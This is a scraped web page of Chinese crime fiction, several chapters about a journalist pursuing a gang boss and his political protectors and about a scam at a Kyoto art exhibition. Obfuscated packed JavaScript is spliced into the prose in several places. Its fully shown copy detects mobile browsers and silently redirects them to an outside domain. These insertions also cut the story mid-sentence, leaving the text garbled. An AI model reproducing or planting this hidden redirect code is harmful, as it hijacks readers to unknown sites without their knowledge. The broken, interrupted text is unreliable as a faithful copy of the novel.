;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是你说姓戴的来查你公司了吗?兄弟们在给你解决问题啊。一把火烧了,他不就什么都查不到了!” “我的意思是请你们除了那个记者,不是要烧我的公司!!!” “这个不行,梁先生生前逼我们发过毒誓,这辈子都不能伤害那个姓戴的,否则断子绝孙,天打五雷轰顶。” “什么公司,钱不钱的,都是浮云,哪有命重要,阿冈,看开点,钱没了还能再挣,人进去了可就出不来了。” 张大冈毫不犹豫地挂了电话,将周围可以拿到手的东西全都摔得稀巴烂。 ———————— 第二天早上,戴欲真收拾好东西赶来上班,突然发现寂生公司被烧了。 多年记者经验,他一看就知道这场火灾是人为的,且是道上的老手干的。 他急忙找到张大冈,说明情况。 “老板,您现在别瘫在楼道上难过了,赶紧报警抓纵火犯啊,晚了人证物证啥的都查不到了。” 张大冈心情本就郁闷,一听到戴欲真撺掇他报警,更是窒息得说不出来话。 (报你妹的,报什么警,报警抓自己人吗?) “老板,你要振作起来,当务之急是顺藤摸瓜找纵火犯。”戴欲真依旧不依不饶。 良久,张大冈淡淡道:“这是场鬼火,做殡葬行的,难免不沾上几个小鬼,冲撞几位大神,没事,赶明儿我办一场法事,请几位大师驱驱邪祟。” “这火明明是人为。” “住口!!!”张大冈怒不可遏,“是人是鬼我自有分辨,这场大火,除了小鬼们,别的东西根本做不出来。” (做殡葬业的,居然会迷信小鬼,怕是这老板心里才有鬼吧!)戴欲真在心中埋下了一颗怀疑的种子。 19.名单(上) 2005年,戴欲真从国外学成归来,推掉了父母安排的高薪工作,入职江南日报,做起了一名普普通通的小记者。 在调查一家地下赌坊时,他从家里拿了两万美金,伪装成一个败家赌鬼,成功混了进去。 还没来得及拍几张照,钱就输光了。 好不容易用从美国带来的最先进的微型相机偷拍了几张照片后,他的肖邦手表,诺基亚滑盖手机,LV钱包都已经输进去了,还倒欠十万美金。 …… “不能联系我家里人,他们要是知道了肯定逼我回去相亲,你们的钱,我再想其他办法还你们。” 暗室里,戴欲真被五花大绑,打得鼻青脸肿。 有人从他身上搜出来一块可疑的东西,赶紧报告给老大。 “梁大哥,您看看,这是什么东西?” 梁大哥看了那东西一眼,问道:“这是什么洋东西,上面怎么还刻着洋文?” “这是我的心脏起搏器,你们这群流氓,也忒不识货了。” 说完,便又是好一顿打。 姓梁的似乎对他很感兴趣,叫停了手下。 “小伙子,你挺有钱的,年纪轻轻的,看着也像是上过学的,你有没有什么一技之长?” “我在国外念过书,有硕士学位,课余时间还自学过哲学和心理学。” 梁修身撇了撇嘴,嫌弃地将“心脏起搏器”扔他脸上:“你们这些富二代整天都学些什么花拳绣腿的玩意?” “哲学?心理学?这玩意能当饭吃吗?能找到正经工作吗?” 越说越气,他又往他腿上狠踹两脚。 踹了两脚后,他突然开口问道:“你在国外念过书,英语怎么样?” “很好。”戴欲真淡淡道。 “很好是多好?具体给哥几个说说。” “好到我的电力电子教授以为我是native。” 梁修身突然瞪大了眼睛,半蹲了下来,问道:“卧槽,你在国外学的是电啊!有前途,你早说啊!” “年轻人,我考考你,为什么同一批次的小电机,有的准,有的就不准,发牌时总差一两张牌?” 戴欲真倒是笑了一下:“你们赌场出老千出惯了,控制器的程序肯定是没问题,唯一的可能就是出在电机上,你们是不是没调零位。” 梁修身惊叹:“行家啊,不过出货前,我们技术人员还真统一调过,倒是准了一些,但还是有些问题。” “要控制温度,电机调一会就让它歇歇再调。” 梁修身点点头,示意手下将他松绑。 手下有所犹豫,悄悄在他耳边低语:“大哥,这不合适吧!要是让老板们知道,咱不好交代啊!” “没事,他又不是大货,少一个猪猡,老板们不会发现的。” 就这样,梁修身偷偷将戴欲真带回了自己的家。 “修平,修韵,都出来一下,看看我给你们找的好老师。会外语,还会搞电机。” 两人一出来,就看见了鼻青脸肿的戴欲真。 “哥,你这是从哪绑来的猪头?” “怎么说话的?这家伙欠我老板十万美金,以后就是你们的家教老师了,随叫随到,有不懂的都可以问。” “他能听你的吗?”梁修韵问了一下。 “不听,死。”梁修身轻描淡写地说道。 “那他要是不听话的话,我可以捅死他吗?”梁修平满脸期待。 “二哥,既然他是教电机的,我们可以先跟着他学,做一个发电机,然后我们自己发电,电死他,电得他屁滚尿流。”梁修韵笑着说。 戴欲真不可置信地看着眼前的两个小孩,头皮一阵发麻。 梁修身倒是不以为意,但还是一本正经地劝道: “别整天想打想杀的,多跟人家学点真本事,走正道。杀人这行没什么前途,累死累活也挣不了几个钱。” 戴欲真像模像样地教了两个孩子一段时间,越教越觉得恐怖。 这两个孩子,可以细心周到地送自己这个所谓的“家教老师”生日礼物,也可以毫不手软地在学校欺负老师同学。 可以在邻居生病的时候送她去医院,也可以因为她家的猫太过吵闹而偷偷下老鼠药毒死它。 可以专注读书轻轻松松就考上全校前十,也可以校内打架停课一周。 可以被大哥的仇人寻上门踢断肋骨毫不反抗,只因知道自己伤得越重他们便会死得越惨。 可以每周自发地收集地沟油给附近餐馆免费运过去,风雨无阻。然后静静地站在路边看着来往食客大快朵颐。 …… …… 最让他惊讶的是,面对这一切,梁修身却习以为常。 与之相反,梁修身倒是觉得戴欲真对自己弟弟妹妹的道德教育是在进行一场赤裸裸的绑架。 用世俗冠冕堂皇的德行和规训来绑架自己弟妹的人格和灵魂。 梁修身不怕自己的弟弟妹妹变成混世魔王,倒是更怕他们被戴欲真改造成人善人欺的傀儡,一辈子唯唯诺诺,低眉顺眼,到死都不知道自己被上面的人卖了,还在替他们数钱。 就像,S城的大多数普通人一样,看似都活在自己的世界,实则一辈子都未曾发现自己只是他人手上的棋子。 或许,棋子都算不上,在那些大人物眼里,这些人只是愚蠢的韭菜。 没有人比他自己更了解社会的黑暗和残酷,也没有人比他更懂得做一个“好人”的代价是什么? 一想到这,梁修身不寒而栗。 “你越界了,他们需要的是知识,而非道义。” “习得知识前要先学会做人。”戴欲真据理力争。 “我的弟弟妹妹不需要学做人。” 梁修身继续说道:“你走吧,该滚哪就滚哪去,别再干预我弟弟妹妹的想法。” “不行,照你这样下去,那两个孩子以后就是连环杀手的料。” 梁修身笑了一下:“你说的有道理,像我们这样的成长环境,小孩是有可能长成变态,杀人犯,小偷,□□犯。” “但是戴欲真,心理学难道没告诉你,很多成功人士也是出自这样的环境,不然人们怎么爱说英雄不问出处。” “放屁。” 突然间,戴欲真停顿了。 他想起了自己的父亲,他恰恰就是梁修身所说的这种人。 父亲出身寒微,靠自己努力一路读书学医考大学,十年如一日努力终于当上了大医院的主任医师,他正是世俗眼中的成功典范。 在外,他是救死扶伤,医术高超的名医。病人将他视若神明,只有最亲近的人才知道,他就是一个魔鬼。 戴欲真清楚地记得,小时候,只要自己每次考得不好,父亲就会狠狠地打他。 因为是医生,父亲知道如何打人既会使被打者痛不欲生,也不会出现伤痕。 很痛,痛到他第二天爬不起来,老师记他旷课,他解释,却被老师当成了爱翘课的撒谎精,除了母亲,没有人相信他被家暴。 至于母亲,她更是惧怕父亲,每次自己被打时,她都在旁边静静地看着。她从不劝阻丈夫,更不会保护孩子。 有时她甚至会上手帮父亲打自己,戴欲真一度以为,如果母亲拦在了他前面,那么被家暴的就会是母亲,所以他从不怨恨母亲。 后来,他才渐渐懂得,母亲根本不爱自己,一直以来,都是自己自作多情了。 或许正是因为原生家庭的切肤之痛,他才格外渴求社会公义,普世价值。 梁修身见他久不言语,问道:“这么简单的道理都理解不了?哼,你们这些生在罗马的人哪里懂得社会险恶?” “没有,我只是才反应过来,你刚刚说会放我走,说话算数?” “那是自然。” 戴欲真一路跑到了地铁站口,进去的前一刻,他抬头凝望天空,恍若隔世。 一路上,来往行人看见他,纷纷退避三舍,没有一个人会走上前询问: “Can I help you ?” 他知道,社会公义还有很长的一段路要走。 回去之后,他洗了顿澡,涂了点药。 有几块头皮被扯掉了,他干脆去烫了个爆炸头,将伤口遮住。 后槽牙被打掉了几颗,他预约好牙医,下周就开始种牙。 眼睛是乌青的,脸是肿的,他戴上墨镜,涂上母亲的遮瑕膏就去报社上班了。 若无其事,云淡风轻,父母以为他的失踪是去哪鬼混了,报社同事则认为他这种富二代干累了就会给自己给自己放个长假。 他继续走访,卧底,挖掘各种社会现象,也从未停止对地下赌场的暗中调查。 经年查探,他手上收集到的证据越来越多,足以将整个地下赌场的主事人送进监狱。 可随着年月增长的,还有梁修身的势力,五年,他一步步登上顶峰。业务渗透到了S城的方方面面,成为此城真正的幕后之王。 谁能想到,当年那个名不见经传的赌场打手,如今已是叱诧风云的“儒商”梁先生。 在S城,连留学生都知道,想办事,找梁先生。论只手遮天,遥想当年杜月笙也不过如此。 而他苦心收集的罪证,发不出报社,登不了互联网,上不了纸媒。 他把证据发到外网,费尽千辛万苦找了国外的纸媒,依旧无济于事,反而给自己带来了诸多麻烦。 “你为什么要到国外抹黑我们S城?”同胞质问他。 “你搞臭了整个行业,我们现在的新闻稿审核越来越严了。”同行恨他。 “梁家本无事,庸人自扰之,小戴啊,心胸要开阔,你想想,他们给我们城市提供了多少税额,多少就业岗位,多少慈善捐款,赚了多少外汇。何必非要跟一个老实本分的商人过不去呢?”报社领导劝他。 证据摆在眼前,但世人瞎了。 他思来想去,权衡利弊,决定暗杀梁修身。 法律应当为人民服务,而非相反,如今证据确凿,有何杀不得? 这就是他所信仰的公义 很快,他就付诸实践,可是,一个整天拿摄像机的人怎么能打过一群天天拿刀的人? 他毫无胜算,被抓后,梁修身特意来看他。 他给他带了一本书,大名鼎鼎的东野圭吾的《恶意》。 他读过这本书,这本书讲的是野野口修从小受到日高的帮助,却平白无故憎恨起善良的日高,不择手段织了一张惊天大网只为了让日高身败名裂。 可他不明白,梁修身为什么要把这本书带来?他在抽什么疯? “戴欲真,你真应该好好看看这本书,你的某一部分正被‘恶意’给扭曲了,穷极一生就是为了扳倒我,你和野野口有什么区别?” 戴欲真怒极反笑。 “若我真有罪,那我唯一的罪便是在这至暗时刻仍坚定地信仰公义。要杀要剐悉听尊便,用不着在这羞辱我。” “倒不是在羞辱你,你蠢成这样,我根本没把你放在眼里。” “什么意思?” “你以为杀了我就能实现你心中的公义吗?大错特错,杀了梁先生,还有张先生,李先生,王先生,能人是杀不尽的。” “我当然知道,但是做总比不做好。” 梁修身突然弯下腰,露出一个晦暗不明的笑容:“治标不治本,有本事,你就咬死我身后的那些大人物们,他们才是真正的毒瘤。” 戴欲真知道眼前这个所谓的梁先生不过是个白手套,可他又能怎么办,他连梁修身都对付不了,更何况是他背后那群权势滔天的大人物。 对此,戴欲真感到深深的无力:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“夏虫不可语冰,不跟你掰扯了,时间紧迫,我一会还有个慈善晚宴要参加,你就自己爬着回去吧!” “等等,你刚刚说的名单是真的吗?你真的会把你的保护伞们供出来?”戴欲真急忙往前爬了几步,叫住梁修身。 梁修身边走边说:“戴记者,永远不要低估人的恶意,哪怕是像我这样悲悯的大慈善家。” 说完,梁修身便消失在黑暗中。 戴欲真的双腿被打断了,他寸步难行,是舅舅特意来梁家捞人把他接回去的。 “我早就说了,你就应该老老实实在国外纸醉金迷,一辈子风花雪月,当记者算怎么个事,你看看,你差点就回不来了,哎呦,你的腿可怎么办,被打成这样,还不知道能不能治好了。” 舅舅心疼地直掉眼泪。 戴欲真知道舅舅一向嘴硬心软,是全家最反对他放弃工程师职位回国当记者的,也是他,知道自己去《江南日报》上班后,偷偷收购了报社,给自己撑腰。 “你这腿啊,伤得太重了,得去国外治,小真,你下辈子还想走路的话就马上跟我去德国。” “德国,骨科?”戴欲真像是想起什么好笑的事,脸上挤出了笑意。 舅舅看他嬉皮笑脸的样子,气得原地跳了起来:“都什么时候了,你还笑得出来,你不是我外甥,你是我爹!真是上辈子欠你的。” “舅舅,不是您从小教我要做个好人吗?舅舅,做好人难啊!多少都是要付出点代价。” “好人个屁。我那是怕你小子成了败家子,唉,现在弄成这样,还真不如老李家的那几个败家子省心。”舅舅重重地叹了口气。 “能不能在国内治,我报社还有点报道没跟进。” 说到这,舅舅的头更大了。 “别提什么报社了,公司现在全体员工都在闹罢工。” 戴欲真诧异:“怎么会这样,舅舅你没发他们工资吗?” “还不都是因为你这个小王八羔子,现在大家都知道你去刺杀梁先生了,怕得要死,生怕哪天公司就被扔一个炸弹来,或是茶水间被集体投毒,给你小子陪葬了。” “不过不用担心,这帮怂人可不敢辞职,最多就是罢几天工,闹几句有你没他,有他没你。你舅我有的是手段让他们服帖。” “哎呀,连小记者都知道柿子要挑软的捏,他们不敢惹梁先生,倒是和你水火不容,小真啊,你怎么偏偏选了这条险路?” “过几天我要把他们全开了,老子要让他们知道,谁才是江南日报的老板。” 戴欲真很快就藏起脸上的悲伤,笑着说:“别别别,舅舅,开人要赔 N+1的,您可亏大了。大不了,你就在公司公开咱俩的关系,他们自是不敢再闹什么的。” “小真啊,快点长大吧,别再胡闹了。” ———————— 十年饮冰,难凉热血。 在德国做了七次大手术,吃了无数顿香肠土豆,穿过上百件冲锋衣后,终于等来了S城的风云变幻。 回国之前,他一时竟有些近乡情怯。清醒的痛苦在于,他知道这仍不是终点。 可他依旧踏上了回国的飞机,若一去不复返,便不复返了! 果不其然,结案后不久,他在伏山监狱探视梁修身,对方一开口就在嘲讽他: “戴记者,你的人生真是失败,花了半辈子时间就只抓到了我。你把时间都花在哪了?” “至少,我做到了让你伏法。” “别忘了,一个梁先生倒下了,千千万万个梁先生就会站出来。” “你想要我做什么?” “还记得那本《恶意》吗?说实话,那本书我是真看爽了。” 电光火石之间,戴欲真立马想到了他曾提到过的名单。 “你不是说过要把‘书’给我吗?” “戴记者,您真是贵人多忘事,书早就给你了。”说完,梁修身撂下了监狱的电话,起身就走。 隔着玻璃,戴欲真看着梁修身一瘸一拐的背影,陷入沉思。 20.名单(下) 梁修身死的时候,戴欲真高兴地在酒吧喝了一个晚上。 蹦迪,跳舞,旋转,旋转,再旋转。 我醉了,在这灯火辉煌的夜里,陌生人,黎明之前,请不要叫醒我,因为我已失去得无可失去。 二十年,两鬓斑白,一身旧伤,酒水掺着泪水,成了苦杯,无力挪开。 彻底失去意识前,他看着眼前流转的光影感慨,真好,这颗心还未老去。 知道名单被烧的那天,他又一次走进酒吧。 彻夜长醉,将几个酒杯砸得稀烂,直到被赶了出去。 他躺在路边的绿化带上,大声歌唱《光辉岁月》。 “今天只有残留的躯壳,迎接光辉岁月。” 他五音不全,嗓音粗糙,三更半夜,陷入梦乡的人们以为杜鹃啼血,猿在哀鸣。 他拦住了一个外卖小哥。 “你好,我愿意为争取你应得的权利抗争至死,你愿意停下来听我唱歌吗?” 送了一天一夜的单子,外卖小哥已经很累了,可他看到戴欲真躺在草坪上,脸上全是泪痕,终归是不忍心。 “这个点地铁都停了,打车老贵了,你坐上来,我送你回家。” “我要唱歌,我要唱歌。”戴欲真在绿化带蛄蛹了几下。 “行行行,你坐上来,我边骑你边唱,赶紧的。” 戴欲真起身,东倒西歪地攀爬上了电瓶车,上来之后,还打了个酒嗝,气味直冲天灵盖。 一瞬间外卖小哥想死的心都有了,原本困到睁不开的两眼直接清醒了。 “不好意思。” “甭给我来这个,你对不起的不是我,是你家里人,这么大的人了,喝倒在大街上,你家里人怎么办?” “我喝死的话,他们会开心的。” 外卖小哥闻言,心里又是一酸。凉爽的夜风轻轻吹拂,他最终也没说出来一句安慰的话。 安慰的话?我这条贱命哪有什么资格劝别人看开点。 “你家在哪里?” “我没有家。” “那你住的地方在哪里?” “安联球场对面那条街上,别坐db,会晚点,也别坐地铁,挤不过球迷。”戴欲真还处于醉态。 外卖小哥直摇头,没办法,只得把他送到了附近的麦当劳店里,拿着戴欲真的手机给他点了几个大套餐,让他躺那安心睡去。 再次睁开眼时,戴欲真脑袋晕得厉害,完全不记得昨晚发生了什么,他打开手机,发现一连串的未接来电。 来电备注是:K299 他一点点回想,哦,原来自己怕连累到别人,手机里从不会出现真名。 K299是莫扎特的曲子,会是谁呢? 旋律在脑海中挥之不去,他就是想不起来这个人是谁了。 他果断回拨了去,“您好,请问您是?” “戴记者,是我,骆一梵。”手机那边传来极其虚弱的声音。 “出什么事了吗?” “戴记者,你是不是查到了什么人?你没事吧?我怀疑我被人下毒了,从昨天早上一直上吐下泻,头晕得要死,胃疼得我直打滚,还发着低烧。” 戴欲真立刻坐了起来,一脸警觉地望向四周,发现身后空无一人,然后又淡定地躺下了。 “不应该啊,骆小姐,按理来说,杀我应该更一劳永逸,你看,我这都喝断片了也没人来杀我,你是不是想太多了。” “哦,也是,你还活着我担心什么,反正我什么都不知道。” “骆小姐,你最近吃了什么?” “没吃啥啊!就吃了南昌拌粉,瓦罐汤,三鲜粉,水煮,福州鱼丸,沙茶面,重庆鸡公煲,福鼎肉片,花生汤,簸萁粄,牛肉火锅,潮汕生腌,blueglass,腐乳鸡翅,蚝烙。” 戴欲真两眼一黑,原本宿醉的头痛又加重了几分。 “骆小姐,有没有一种可能,你是吃了这些翻江倒海的东西才上吐下泻的?” “是吗?可是我看很多人都在吃啊!” “骆小姐,听我一句劝,忍一点,先饿自己个三天,身体马上就恢复好了。” “可是,我刚刚点了早茶,好贵的,别的不吃就算了,那个红米肠我真的不能不吃。” 戴欲真缓缓闭上了眼睛,“没事,你想吃就吃吧!顶多就是继续窜稀,反正你妈妈早就给你买了好几份医疗险和重疾险。” 骆一梵立刻点了点头:“对,戴记者你说得很对,拉肚子也是身体排毒的一种体现,平时不拉,那毒素不都堆积到身体里了,这可不行。” “对了,戴记者,我胃疼的时候,突然想起来,那段时间,我给欠条上的人都发过邮件。” 戴欲真垂死惊坐起,欲哭无泪:“骆一梵,这么重要的信息你怎么才想起来?” “谁上班爱记客户的东西啊,我下了班都是巴不得马上把脑子格式化。”骆一梵一脸委屈。 “然后呢?名单上是不是有些对不上的东西?是不是有些出乎常理的信息?” “还真是,有一些人的邮箱是假的,一发过去就马上被退回了,我给你看看。”骆一梵一边划着邮箱,一边转发。 一目了然,这些显示空号的邮箱后缀全是@dyz 而邮箱前面的一串数字,都很有规律,更像是一串密码,似乎是页数+行数+列数,电光火石之间,戴欲真想起了梁修身送他的那本《恶意》。 戴欲真的呼吸瞬间加快,胸腔感觉有一股热流游走于肺腑,他急忙跑到卫生间,猛烈地呕吐起来。 回到家后,他锁紧门窗,一个人呆在杂乱的书房里破译名单。 每破译一个名字,他的思想就发生一次海啸和蜕变…… 这名单中有几个人,在戴欲真看来,已经算是少有的低调克制,肯为底层群体争取劳工权益,社会医疗保障,法律援助,提供工作岗位的“好领导”了。 他知道,如果那几个人被撤,新上任的人极有可能比他们更贪婪,更无法无天,对权力更歇斯底里。 他苦笑,原来人有权有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709351|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势到了一定的地步,哪怕像自己这样的人,都愿意为他们“辩经”。 整个名单,有些人,他不愿意查; 有些人,以他区区血肉之躯,根本查不了; 还有些人,一旦查起来必定社会动荡,所以,不能查。 思来想去,辗转反侧三天三夜,他最终决定,将名单彻底删除,抹去它的一切痕迹。 骆一梵收到消息的时候一脸懵逼:“什么?好端端的你要买我的邮箱号,然后注销掉?戴记者,你是吃菌子了吗?” “十万块钱已经打到你卡里了。” 骆一梵深吸了一口气,点头如捣蒜:“卖,我卖。” “对了,以后就不要联系了,我们互删吧,这个案子,我不想再查了,我累了。” “戴记者,你这话说得好伤人啊!” 对方直接把电话挂了,骆一梵有点委屈,当初是你求姑奶奶查名单的,说不查的也是你,这人怎么这么阴晴不定啊! 可看到银行卡那串温暖的数字后,骆一梵马上就气消了,呼吸都舒畅了很多。 有钱后,马上就忘本了,什么粥底火锅,什么白切鸡,什么烧腊,她都看不上眼。 广东的天气跟个烤炉似的,自己再呆下去马上就成烤乳猪了,她二话不说,马上订了一张去日本的机票。 我要去京都,要去大阪,要去富士山,去避暑啦!!! 一下飞机,京都正下着淅淅沥沥的小雨,她莫名伤感了起来。 “戴记者真不查了?好可惜啊!这么一个好人到最后也放弃了。” 随即,她又想起了S城的那些人:疯狂压榨员工的老板,卷生卷死阴阳怪气的同事们,黑心的房东们,唯利是图的资本家们…… “不查也好,那些小人不配享受正义。” 骆一梵人在日本,她不知道,此时国内正发生一件大新闻: 一名记者被当街爆头 事件影响极大,舆论一步步发酵。大家在网上持续讨论: 死的人是戴欲真,他报导过梁家的案子。 有知情人士透露,戴记者生前一直在调查梁家幕后的保护伞。 难道是查到了保护伞,被灭口了? 那些保护伞到底是谁啊?这么无法无天? ———————————— S城的人不会知道,那场谋杀是当事人蓄谋已久自导自演的殉道之作。 有人愿意躲在幕后翻云覆雨指点江山,自然也有人愿意走到幕前以死亡唤起观众对公义的渴望。 作为记者,他一直都知道,这世上总有些东西是查不了的。 对此,他不埋怨,不遗憾,不愤怒。 但他想告诉世人,有些事永远过不去,有些人永远不屈从。 临死之前,他想到了当年梁修身送给自己的《恶意》。 或许,他早就猜到了自己的结局,这就是他布给自己的诛心死局。 哀哉哀哉,恶意遍布,哀我之道!哀我之城! 愿天佑我城! 21.素人画展 骆一梵来到了京都,这一次,她不是来玩的,她要参加的正是日本华人圈举办的一年一度“素人画展”。 画展所在的会馆别名“小故宫”,富丽堂皇,贵气逼人。 据说,这几年京都的素人画展给了很多素人画家走向世界的机会,挖掘了一大批籍籍无名的潜力丹青手,是一个好平台。 骆一梵带着雪吟大师的几幅画作来报名,审画师皱着眉头,连叹了好几口气,最后把画还给了骆一梵。 “请问有什么问题吗?要不,您再看看,我觉得这些画真的很不错。” “画倒是好画,但是没有装裱啊,这让我们怎么展览啊?” “好,我现在就去找裱画师。” “小姐,请等一下,现在怕是来不及了,不如我让会馆内部人员给你装裱,一来节省时间,二来,我们这里的师傅手艺好,做工精美。” 审画师面带微笑,眼睛一眨不眨地直盯着骆一梵,目光锐利。 “麻烦你们了,斯密马赛。”骆一梵立刻答应下来。 “只是……”审画师一脸为难的样子。 “我们的师傅手艺虽好,但是佣金颇高,有点难办啊!”审画师委婉地说着,静静地等着。 “没事,我现在穷得只剩钱了。” (都说日本流行匠人文化,贵就贵点吧!) “一百四十万日元。” “多少?你说多少?”骆一梵倒抽一口凉气。 审画师点点头,脸上笑意不减。 “我能收回刚刚的话吗,我突然意识到我还是挺穷的。” “当然可以,您是画的主人,主动权在您手上,只是,没有经过精美装裱的画,怕是进不到二轮审核。” “么事,我去外面找人裱画就行了。” 审画师摇摇头,不语。 话都说到明面上了,骆一梵心里明白,这就是伸手要姑奶奶的钱来了。 “话说,我要是真掏这个钱了,你能保证我带来的这些画能进到展览厅吗?” 审画师轻轻点了下头,自信地说道:“您言重了,我可决定不了这个,但是我坚信,明珠不会蒙尘,这样好的艺术创作,它绝对值得展览。” “好吧!” (我可掏钱了,到时候不给我展览,我会杀了你们的!!!) “中国有句古话,佛靠金装,人靠衣装,相信有了好的装裱,定能锦上添花,此画定能大放异彩。” 骆一梵哆哆嗦嗦拿出手机,颤颤巍巍输了一串支付密码,心里像被刀割了一样,不停地渗血。 (裱画不就刷点浆糊,粘个相框吗?这咔咔刷的哪里是浆糊,简直就是我的银行卡。) 走出“小故宫”后,有一位宝妈拦住了骆一梵。 女人似乎有点不好意思,她让孩子去旁边玩一会,自己则留下来和骆一梵聊聊。 此刻,骆一梵突然意识到,来报名“素人画展”的人几乎都是父亲+孩子或是母亲+孩子的组合。 “不好意思,我刚刚看到姑娘你的画过了初审,想请教一下,要怎么才能通过呢?孩子的画反反复复改了好多遍了,都被退回来了。” (那是因为我氪金了!!!)骆一梵有苦说不出。 骆一梵瞧了眼女人的孩子,是个小男孩,约莫七八岁的样子,此刻正一边流着口水一边嚼着辣条,什么艺术气质都看不出来,只能看出来这个辣条是真的很辣。 “姐姐,其实吧,孩子还小,这个画展参不参加好像没多大关系。里面水还是挺深的,审画人员脑子里全是浆糊。” “小妹,你知道毕加索吗?” “知道啊,他不是谈过十几个女朋友吗?” “可是,他16岁就成名了。” “艺术圈,出名要趁早。等三十多岁就老了,那时候再拼就迟了” “什么,艺术圈也流行35岁被优化裁员吗???”骆一梵一脸震惊。 “倒没有这个说法,但是年少能崭露头角的话,孩子他爸才舍得all in,不然的话,小毅就得老老实实读书做题参加高考,就当不成画家了。” “参加高考是很丢人的事吗?我觉得高考可比搞什么艺术要公平多了。” 女人叹了口气,欲言又止,转而问道:“姑娘,你知道张大千吗?” “知道啊,他不是娶了十几房小妾吗?” 女人完全不在意骆一梵说了什么,彷佛沉浸在自己的世界,自顾自地回忆道: “我父亲和一位同窗好友在老家的画廊学了六年,都是师从画廊的黄先生。” “父亲和同窗的绘画水平不相伯仲,本来他俩都是按部就班地学画,作画,当一天和尚撞一天钟。直到那位同窗去了一趟宜兰,一切都发生了天翻覆地的变化。” (其实我对你们这些老一辈的故事没有一点兴趣!!!)骆一梵看看天,看看地,看看周围报名人的穿着打扮,十分无聊。 “其实也不是什么大事,那位同窗跟着亲戚们去宜兰游玩,到了一处公园,兴之所至,就拿起画笔写生。巧的是旁边有一位长须老者路过,看了两眼,对他说,你看,这颗竹子画得低一些是不是好一点。” (竹子低不低我不知道,但是,你快点把事讲完是不是好一点!)骆一梵听得都快睡着了。 “那群亲戚们有人认出了长须老者就是张大千先生。大千先生眼见被人认出来了,赶紧找了个借口遁了。” “我靠!”听到八卦,骆一梵瞬间就醒了。 “回去之后,父亲的那位同窗就开始到处宣称自己是张大千的学生,国画得到过大千先生的启蒙。凭借这个身份,他在我们老家很快便站稳脚跟,开画展,收学生,名利双收,赚得盆满钵满。” “这也太扯了吧!还能乱认老师,他老师怎么说也该是那个画廊的黄先生啊!” “是啊,黄先生悉心教了他六年,可他对外从来不提师从黄先生,只提大千先生。” “大师算是沾上屎了,甩都甩不掉了。” “你这样说,倒也算话糙理不糙。大千先生没多久就病逝了,怕是不知道在大陆有一操场的人自称是他的学生。” “卧槽,就说了一句‘这竹子画得低一些’,卧槽,这都能蹭上大师之徒,卧槽卧槽。”骆一梵还是不敢相信,嘴上已经尽力收敛了。 “谁说不是呢!” “那他真正的老师黄先生该寒心死了!教出这个白眼狼。” “黄先生哭着跟我父亲说,‘我不怨他,你们俩都很有才华,唯一缺的就是一点名气,让大家好好认识你们。他这样做,能熬出头就行,老师会在背后默默给他鼓掌。’” 女人叹了口气:“唉,这就是老师。” (故事终于讲完了,你们艺术圈还真是遍地都能碰上瓜。)骆一梵在心里嘀咕着。 “可是,这个素人画展也没啥大师啊!” “我知道,可就是什么机会都不想错过,万一来看画的有高人呢?万一小毅的画,得哪位收藏家亲眼了呢?总不能,什么都不做,让孩子白白输在了起跑线上了。” 女人说话的时候时而皱着眉,一脸哀怨,时而挂着笑,满眼期望。阴晴不定,日光照在她的脸上,依旧有阴影。 (这就是东亚的家长。)骆一梵在心里感叹着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没事,建行,我只是飘洋过海做了个艺术慈善。” 还没走几步,手机又开始叮铃铃,叮铃铃。 “你好,请问是骆小姐吗?恭喜你,你委托的画作过了初审了。” “我知道,毕竟钞能力摆在那。” “不过呢,倒是有一个问题。” 一听到‘不过’,骆一梵心里就咯噔一下。 “有话快说,有屁快放!” “画是杰作,可是评委说了,此画意境悠远,用笔擅于藏,虚虚实实,密而不乱,按理说作画之人应是淡薄名利,心胸豁达之人啊!这实在是不应该啊???” “说人话。” “这幅画的装裱过于精美,与此画意境不和。二审的好几名评委都在笑谈:画得不彻底啊!还是有很多执着。” “你想干什么?” “装裱此画的画框铜臭味太重了,致使诸多评委误以为画师是位追名逐利的泛泛之辈,使此画的苍茫之气尽失矣。” “一审可是你们非要我装裱的。”骆一梵直翻白眼。 “一审是一审,二审是二审。这正是本次素人画展的公正所在,如此便可避免因个别评审的个人审美而影响到整个作品的评判标准。” “说吧,这次要多少。” “拆除画框只需要两百万日元,便可重塑此画意境。” “我要报警!你们这帮狗娘养的骗子!”骆一梵咬着后槽牙骂道。 手机那边传来的声音依旧不咸不淡:“这误会可就大了,骆小姐,艺术不应该牵扯到政治,您这样做,是犯了行业的大忌,日后恐怕很难在圈内走得更远了。” “姑奶奶我不稀罕。” 骆一梵挂了电话,气得都想把手机摔了。 青天白日,朗朗乾坤,正是报警的好时节:“喂,是京都警视厅吗?瓦达西Chinese, need help。” 22.荔枝炒西蓝花 大使馆的翻译人员很快就赶来了,而警署的人马却迟迟未来。 此时,局面一触即发,骆一梵已经带领一批报名者冲进了会馆二审室,吃瓜群众更是围了一圈又一圈,比早高峰的电车还难挤进去。 因为赶上了权志龙开演唱会的缘故,大部分警力都被协调到其他市作安保巡护了。 更主要的原因是,“小故宫”每年都打点好了他们的高层,让他们对素人画展的事睁一只眼闭一只眼。 令所有人震惊的是,整个二审室空空荡荡,没有一张画,甚至没有一个工作人员,审画师。 大家接着往里走,一路上发现所有过了初审的画被人随意丢在了地上,再往里走,就是展览厅了。 